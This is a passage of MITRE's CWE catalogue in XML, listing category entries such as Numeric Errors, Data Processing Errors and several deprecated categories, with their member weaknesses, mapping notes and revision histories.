               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Modes_of_Introduction, Name, Potential_Mitigations, Relationships, Taxonomy_Mappings, Type</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2017-11-08">Technology-Specific Special Elements</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="17" Name="DEPRECATED: Code" Status="Deprecated">
         <Summary>This entry has been deprecated.  It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Name, Relationships, Type</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2019-06-20">Code</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="171" Name="DEPRECATED: Cleansing, Canonicalization, and Comparison Errors" Status="Deprecated">
         <Summary>This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree. Weaknesses in this category were related to improper handling of data within protection mechanisms that attempt to perform neutralization for untrusted data. These weaknesses can be found in other similar categories.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Related_Attack_Patterns, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, References, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-24">Cleansing, Canonicalization, and Comparison Errors</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="18" Name="DEPRECATED: Source Code" Status="Deprecated">
         <Summary>This entry has been deprecated.  It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
	 <Content_History>
            <Submission>
               <Submission_Name>Landwehr</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Name, Relationships, Taxonomy_Mappings, Type</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2019-06-20">Source Code</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="189" Name="Numeric Errors" Status="Draft">
         <Summary>Weaknesses in this category are related to improper calculation or conversion of numbers.</Summary>
         <Relationships>
            <Has_Member CWE_ID="128" View_ID="699"/>
            <Has_Member CWE_ID="190" View_ID="699"/>
            <Has_Member CWE_ID="191" View_ID="699"/>
            <Has_Member CWE_ID="193" View_ID="699"/>
            <Has_Member CWE_ID="369" View_ID="699"/>
            <Has_Member CWE_ID="681" View_ID="699"/>
            <Has_Member CWE_ID="839" View_ID="699"/>
            <Has_Member CWE_ID="1335" View_ID="699"/>
            <Has_Member CWE_ID="1339" View_ID="699"/>
            <Has_Member CWE_ID="1389" View_ID="699"/>
         </Relationships>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>INT01-PL</Entry_ID>
               <Entry_Name>Use small integers when precise computation is required</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
	 <References>
	   <Reference External_Reference_ID="REF-1287" Section="Details of Problematic Mappings"/>
	 </References>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1287]. This CWE ID may have become widely-used because of NIST's usage in NVD from 2008 to 2016 (see CWE-635 view, updated to the CWE-1003 view in 2016).</xhtml:p>
               <xhtml:p>Comments: Most number-handling issues are probably descendants under Incorrect Calculation (CWE-682) or Incorrect Conversion between Numeric Types (CWE-681).</xhtml:p>
	    </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="19" Name="Data Processing Errors" Status="Draft">
         <Summary>Weaknesses in this category are typically found in functionality that processes data. Data processing is the manipulation of input to retrieve or save information.</Summary>
         <Relationships>
            <Has_Member CWE_ID="130" View_ID="699"/>
            <Has_Member CWE_ID="166" View_ID="699"/>
            <Has_Member CWE_ID="167" View_ID="699"/>
            <Has_Member CWE_ID="168" View_ID="699"/>
            <Has_Member CWE_ID="178" View_ID="699"/>
            <Has_Member CWE_ID="182" View_ID="699"/>
            <Has_Member CWE_ID="186" View_ID="699"/>
            <Has_Member CWE_ID="229" View_ID="699"/>
            <Has_Member CWE_ID="233" View_ID="699"/>
            <Has_Member CWE_ID="237" View_ID="699"/>
            <Has_Member CWE_ID="241" View_ID="699"/>
            <Has_Member CWE_ID="409" View_ID="699"/>
            <Has_Member CWE_ID="472" View_ID="699"/>
            <Has_Member CWE_ID="601" View_ID="699"/>
            <Has_Member CWE_ID="611" View_ID="699"/>
            <Has_Member CWE_ID="624" View_ID="699"/>
            <Has_Member CWE_ID="625" View_ID="699"/>
            <Has_Member CWE_ID="776" View_ID="699"/>
            <Has_Member CWE_ID="1024" View_ID="699"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-05-03">Data Handling</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="199" Name="Information Management Errors" Status="Draft">
         <Summary>Weaknesses in this category are related to improper handling of sensitive information.</Summary>
         <Relationships>
            <Has_Member CWE_ID="201" View_ID="699"/>
            <Has_Member CWE_ID="204" View_ID="699"/>
            <Has_Member CWE_ID="205" View_ID="699"/>
            <Has_Member CWE_ID="208" View_ID="699"/>
            <Has_Member CWE_ID="209" View_ID="699"/>
            <Has_Member CWE_ID="212" View_ID="699"/>
            <Has_Member CWE_ID="213" View_ID="699"/>
            <Has_Member CWE_ID="214" View_ID="699"/>
            <Has_Member CWE_ID="215" View_ID="699"/>
            <Has_Member CWE_ID="312" View_ID="699"/>
            <Has_Member CWE_ID="319" View_ID="699"/>
            <Has_Member CWE_ID="359" View_ID="699"/>
            <Has_Member CWE_ID="497" View_ID="699"/>
            <Has_Member CWE_ID="524" View_ID="699"/>
            <Has_Member CWE_ID="538" View_ID="699"/>
            <Has_Member CWE_ID="921" View_ID="699"/>
            <Has_Member CWE_ID="1230" View_ID="699"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="2" Name="7PK - Environment" Status="Draft">
         <Summary>This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that are typically introduced during unexpected environmental conditions. According to the authors of the Seven Pernicious Kingdoms, "This section includes everything that is outside of the source code but is still critical to the security of the product that is being created. Because the issues covered by this kingdom are not directly related to source code, we separated it from the rest of the kingdoms."</Summary>
         <Relationships>
            <Has_Member CWE_ID="11" View_ID="700"/>
            <Has_Member CWE_ID="12" View_ID="700"/>
            <Has_Member CWE_ID="13" View_ID="700"/>
            <Has_Member CWE_ID="14" View_ID="700"/>
            <Has_Member CWE_ID="5" View_ID="700"/>
            <Has_Member CWE_ID="6" View_ID="700"/>
            <Has_Member CWE_ID="7" View_ID="700"/>
            <Has_Member CWE_ID="8" View_ID="700"/>
            <Has_Member CWE_ID="9" View_ID="700"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">Environment</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="21" Name="DEPRECATED: Pathname Traversal and Equivalence Errors" Status="Deprecated">
         <Summary>This category has been deprecated. It was originally used for organizing weaknesses involving file names, which enabled access to files outside of a restricted directory (path traversal) or to perform operations on files that would otherwise be restricted (path equivalence). Consider using either the File Handling Issues category (CWE-1219) or the class Use of Incorrectly-Resolved Name or Reference (CWE-706).</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Potential_Mitigations, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
			<Modification>
				<Modification_Name>CWE Content Team</Modification_Name>
				<Modification_Organization>MITRE</Modification_Organization>
				<Modification_Date>2019-06-20</Modification_Date>
				<Modification_Comment>updated Relationships</Modification_Comment>
			</Modification>
				<Modification>
